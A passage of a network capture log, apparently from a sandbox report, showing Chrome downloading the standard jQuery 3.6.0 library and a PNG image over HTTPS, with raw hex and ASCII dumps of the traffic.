2024-11-25 04:58:42 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-11-25 04:58:42 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-11-25 04:58:42 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-11-25 04:58:42 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-11-25 04:58:42 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-11-25 04:58:42 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49800	151.101.194.137	443	3916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:44 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 04:58:45 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 25 Nov 2024 04:58:44 GMT Age: 2492800 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740054-EWR X-Cache: HIT, HIT X-Cache-Hits: 5889, 1 X-Timer: S1732510725.826448,VS0,VE1 Vary: Accept-Encoding
2024-11-25 04:58:45 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-11-25 04:58:45 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-11-25 04:58:45 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-11-25 04:58:45 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49801	142.250.181.65	443	3916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:45 UTC	918	OUT	GET /img/b/R29vZ2xl/AVvXsEgdrhY6zM7txEf61nPO67_Cl7rOyCGsyEb9GaIEqe3M-p-yN2nJeBUGCXkDygK7t8xYVcKwSgu4v0_u6EZF5srUh16p0vNl1K8hBeBV8dg-KcOpt7y8vrkamMOU2HxW0STp0JDEp21FWuCWxDXZX0EtxoLPSBWR6WwhXZglXIvWXbh24ojuyofD6htY8D4/s3396/userinter.png HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://zx.valcondunar.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 04:58:46 UTC	470	IN	HTTP/1.1 200 OK Content-Type: image/png Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "v367e" Expires: Tue, 26 Nov 2024 04:58:46 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="userinter.png" X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 04:58:46 GMT Server: fife Content-Length: 87859 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-25 04:58:46 UTC	920	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 0d 44 00 00 07 80 08 02 00 00 00 33 3b 2b ce 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 20 00 49 44 41 54 78 9c ec da 21 01 00 20 00 c0 30 a0 7f 58 04 02 49 8c 0b b6 04 0f f0 b9 cf 1d 00 00 00 00 00 00 00 00 00 40 67 d5 01 00 00 00 00 00 00 00 00 00 f0 3b 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 Data Ascii: PNGIHDRD3;+sBITO_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh- IDATx! 0XI@g;3\|3@
2024-11-25 04:58:46 UTC	1390	IN	Data Raw: 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 Data Ascii: 3@13\|3@13\|3@13\|3@13\|3@13\|3
2024-11-25 04:58:46 UTC	1390	IN	Data Raw: 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 Data Ascii: 13\|3@13\|3@13\|3@13\|3@13\|3@1
2024-11-25 04:58:46 UTC	1390	IN	Data Raw: 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 Data Ascii: \|3@13\|3@13\|3@13\|3@13\|3@13\|
2024-11-25 04:58:46 UTC	1390	IN	Data Raw: 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 f0 d8 bb 9f 10 39 cf fb 80 e3 cf fb 67 fe ac 64 cb 76 40 71 da 83 9c 3f 26 14 c9 92 bd 4a 23 0c b1 72 68 c8 b1 e9 a1 89 43 b1 8a 88 15 50 a1 31 24 84 1a 92 42 08 3d e4 90 1c da a2 50 30 54 04 51 19 23 27 a7 96 d2 43 88 09 c6 2d c1 c1 5e 6b ad f5 21 b4 49 ab 43 53 67 a1 5a 39 52 b5 ab dd d9 e9 61 e3 ad ab 3f bb 3b b3 b3 fb 7b 9f 99 cf e7 60 76 77 e6 7d fd bb 8d c7 cf f7 7d 1e 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 Data Ascii: @13\|3@13\|3@9gdv@q?&J#rhCP1$B=P0TQ#'C-^k!ICSgZ9Ra?;{`vw}}&
2024-11-25 04:58:46 UTC	1390	IN	Data Raw: 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 Data Ascii: &`b>&`b>&`b>&`b>&`b>&`b>&`b>&`b>&`b>&`b>
2024-11-25 04:58:46 UTC	1390	IN	Data Raw: e3 c3 e7 3a 00 64 ac 28 52 d7 53 77 00 00 00 00 00 30 a9 ba ed ba 70 78 0f 00 8c 0b 31 1f 00 64 ac db aa 4b df d1 01 00 00 00 00 60 52 95 45 d1 6d 79 ec 1f 00 c6 84 98 0f 00 72 55 55 0e d8 05 00 00 00 00 80 49 d7 6e 55 55 65 e9 1f 00 c6 81 4f 74 00 c8 55 57 c9 07 00 00 00 00 00 58 32 00 80 71 21 e6 03 80 2c b5 ea b2 f6 98 1d 00 00 00 00 00 90 52 5d 95 ad da aa 01 00 64 cf c7 39 00 64 a9 d3 aa a3 47 00 00 00 00 00 00 9a c2 c2 01 00 8c 01 31 1f 00 e4 a7 55 57 55 59 44 4f 01 00 00 00 00 00 34 45 55 16 ad da 61 bb 00 90 37 31 1f 00 e4 a7 d3 f2 6d 1c 00 00 00 00 00 f8 7f 2c 1f 00 40 ee c4 7c 00 90 99 ba 2a 6d cb 07 00 00 00 00 00 dc a2 2a 8b ba d2 00 00 40 c6 7c 90 03 40 66 3c 57 07 00 00 00 00 00 dc 91 45 04 00 c8 9a 98 0f 00 72 52 7a a8 0e 00 00 00 00 00 b8 Data Ascii: :d(RSw0px1dK`REmyrUUInUUeOtUWX2q!,R]d9dG1UWUYDO4EUa71m,@\|m@\|@f<WErRz
2024-11-25 04:58:46 UTC	1390	IN	Data Raw: 64 3a 7a 0a 00 00 00 00 00 00 00 9a 4e cc 07 00 64 23 c7 92 af 73 e2 54 f4 14 00 00 00 00 00 00 00 64 40 cc 07 00 e4 41 c9 07 00 00 00 00 00 00 c0 18 13 f3 01 00 19 50 f2 01 00 00 00 00 00 00 30 de c4 7c 00 40 d3 ad cc ce 28 f9 00 00 00 00 00 00 00 18 6f 75 f4 00 00 00 9b b8 f2 d5 d3 3b 77 f3 ee f4 b1 b5 1f da 47 a6 d7 7e b8 39 3b 93 52 5a 9c 79 75 b8 1b 2a f9 00 00 00 00 00 00 00 18 82 98 0f 00 68 b4 5f 3f fb a5 91 df b3 3b 7d 6c ea c4 a9 94 52 fd 6e c0 f7 5e 9d 94 52 4a f7 a6 94 52 5a 3a 7f 36 a5 b4 f5 7d 01 95 7c 00 00 00 00 00 00 00 0c a7 58 b8 b6 18 3d 03 00 b0 89 fb f6 76 a2 47 88 b1 74 fe ec 08 0f d8 5d 6b f8 ee 18 f0 8d 64 12 25 1f 00 00 00 00 00 8d 72 f5 fa 52 f4 08 00 c0 00 c4 7c 00 90 81 89 8d f9 e6 3f 7d 6c 24 f7 d9 4e c6 f7 5e 1b 24 7d 4a 3e Data Ascii: d:zNd#sTd@AP0\|@(ou;wG~9;RZyu*h_?;}lRn^RJRZ:6}\|X=vGt]kd%rR\|?}l$N^$}J>
